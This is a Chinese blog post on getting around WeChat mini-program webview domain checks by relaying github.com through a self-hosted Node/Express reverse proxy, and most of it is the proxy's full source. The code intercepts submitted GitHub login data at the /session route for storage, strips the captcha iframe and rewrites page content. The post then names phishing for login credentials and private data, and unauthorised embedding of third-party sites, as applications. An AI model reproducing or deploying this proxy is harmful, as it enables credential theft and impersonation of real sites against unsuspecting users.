云驹博客

路漫漫其修远兮,吾将上下而求索。

0%

微信小程序webview跳过校验文件

微信小程序 webview 跳过校验文件

要做什么?

早些年 初探前端时,经常会去 github 上探索前端的库、插件、和框架,看看有没有好玩的和提升工作效率的轮子。

当时冒出个奇怪想法,有没有一种可能把 Github 直接在微信小程序中打开?

但是尝试之后,最后发现了一些其它应用场景~~~

怎么做?

  • 大致方向就是把 github 塞进小程序中,原生小程序不太现实,那就把网页塞进程序。
  • 小程序中可以运行网页,使用 webview 组件。
  • 然后就是将指定域名的请求代理到 github。
  • 理论可行,开干!
  1. 了解微信小程序 webview 访问页面的原理。

    简介:微信小程序中的 webview 是承载网页的容器,可以不进行小程序审核发版的情况下进行版本快速迭代。

    查阅文档了解到,网页满足两点即可通过 webview 访问

    • 小程序后台配置业务域名

      image.png
      image.png

    • https 域名

      image.png

  2. 代理

    • Nginx 代理:Nginx,Apache(优点:简单速度;缺点:灵活程度低)

      • Nginx 配置

        1
        2
        3
        4
        #全局资源代理
        location ~ .*$ {
        proxy_pass https://github.com;
        }
    • 中转方案:将访问的所有请求代理至目标站点并将返回内容返回至客户端

      1. 使用 nodejs 中的 express 框架做路由转发
      2. 解决其它错误问题(编码,跨域,cookie,…)

      附代码:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      97
      98
      99
      100
      101
      102
      103
      104
      105
      106
      107
      108
      109
      110
      111
      112
      113
      114
      115
      116
      117
      118
      119
      120
      121
      122
      123
      124
      125
      126
      127
      128
      129
      /**
      * 微信小程序webview跳过校验文件将任何网页放入小程序
      */

      const express = require("express");
      const https = require("https");
      const http = require("http");
      const fs = require("fs");
      const request = require("request");

      // 此域名已经被更改hosts文件指向本机
      const HOST = "demo.yunjv.net";
      // 目标域名
      const TargetHost = "github.com";
      // 完整域名
      const Target = `https://${TargetHost}`;

      // 读取SSL密钥和签名证书
      const options = {
      key: fs.readFileSync("./resource/keys/server.key"),
      cert: fs.readFileSync("./resource/keys/server.pem"),
      };

      // 创建web服务
      const app = express();
      // 注册https监听
      const httpsServer = https.createServer(options, app);
      // 注册http监听
      const httpServer = http.createServer(app);

      // 读取body的中间件
      // app.use(express.json()); // for parsing application/json
      app.use(express.urlencoded({ extended: true })); // for parsing application/x-www-form-urlencoded

      // 小程序webview业务域名秘钥
      app.get("/xxx.txt", (req, res) => {
      res.send("xxxxxxxxxxxxxxxxxxxxxxxx");
      });

      // 监听所有请求
      app.all("*", (req, res) => {
      // 请求配置
      const options = {
      url: `${Target}${req.originalUrl}`,
      method: req.method,
      headers: {
      ...req.headers,
      host: TargetHost, // 请求的服务器网址
      origin: req.headers.origin ? Target : undefined, // 指定来自github.com的请求
      referer: req.headers.referer?.replace(HOST, TargetHost), // 将referer中的host替换为目标host
      "accept-encoding": undefined, // 指定编码方式
      },
      form: req.rawHeaders.includes(
      "application/x-www-form-urlencoded"
      )
      ? req.body
      : undefined,
      };

      switch (TargetHost) {
      case "github.com":
      // 拦截github登录信息
      switch (req.url) {
      case "/session":
      // 拦截后信息处理代码块(存储数据库、或执行其它处理)
      console.log(req.body);
      break;
      }
      break;
      case "gitee.com":
      // 码云静态资源转发
      options.url =
      "https://assets.gitee.com/" +
      req.originalUrl.replace("/myAssets", "");
      }

      // 将请求转发到目标服务器
      request(options, (err, response, body) => {
      // 是否有错误
      if (err) {
      res.status(500).send("服务器错误");
      return;
      }

      // 复制状态码
      res.statusCode = response.statusCode;
      // 将目标请求中的header返回
      for (const key in response.headers) {
      res.setHeader(key, response.headers[key]);
      }

      // 返回内容替换
      switch (TargetHost) {
      case "github.com":
      // 手机端登录页iframe问题
      body = body.replace(/https:\/\/octocaptcha.com/g, "/");

      // 登录成功后重定向位置替换
      if (response.statusCode === 302) {
      res.setHeader("location", "/login");
      }

      // 测试
      body = body.replace(
      /Where the world builds software/g,
      "你好,世界!"
      );
      break;
      case "gitee.com":
      // 静态资源
      body = body.replace(
      /https:\/\/assets.gitee.com/g,
      "/myAssets"
      );
      break;
      }
      // 返回
      res.send(body);
      });
      });

      // https监听
      httpsServer.listen(443, () => {
      console.log("https://" + HOST);
      });
      // http监听
      httpServer.listen(80, () => {
      console.log("http://" + HOST);
      });
  3. 失败方案

    • webview 指向一个 html 文件,在 html 文件中使用 iframe 指向目标网址(部分安卓机可以卡出 bug 访问)

      最终以失败告终

      iframe失败页面

应用场景

  • 使用第三方站点丰富小程序内容
    • 不经第三方站点授权即可直接放入小程序中(侵权)
  • 快速搭建 DEMO 站点(中转方案)
    • 返回内容替换为自己想要的内容
  • 钓鱼(中转方案)
    • 数据接口拦截(登录信息,用户隐私及其它信息)
    • 小程序名称

结语

技术无罪,人心有罪。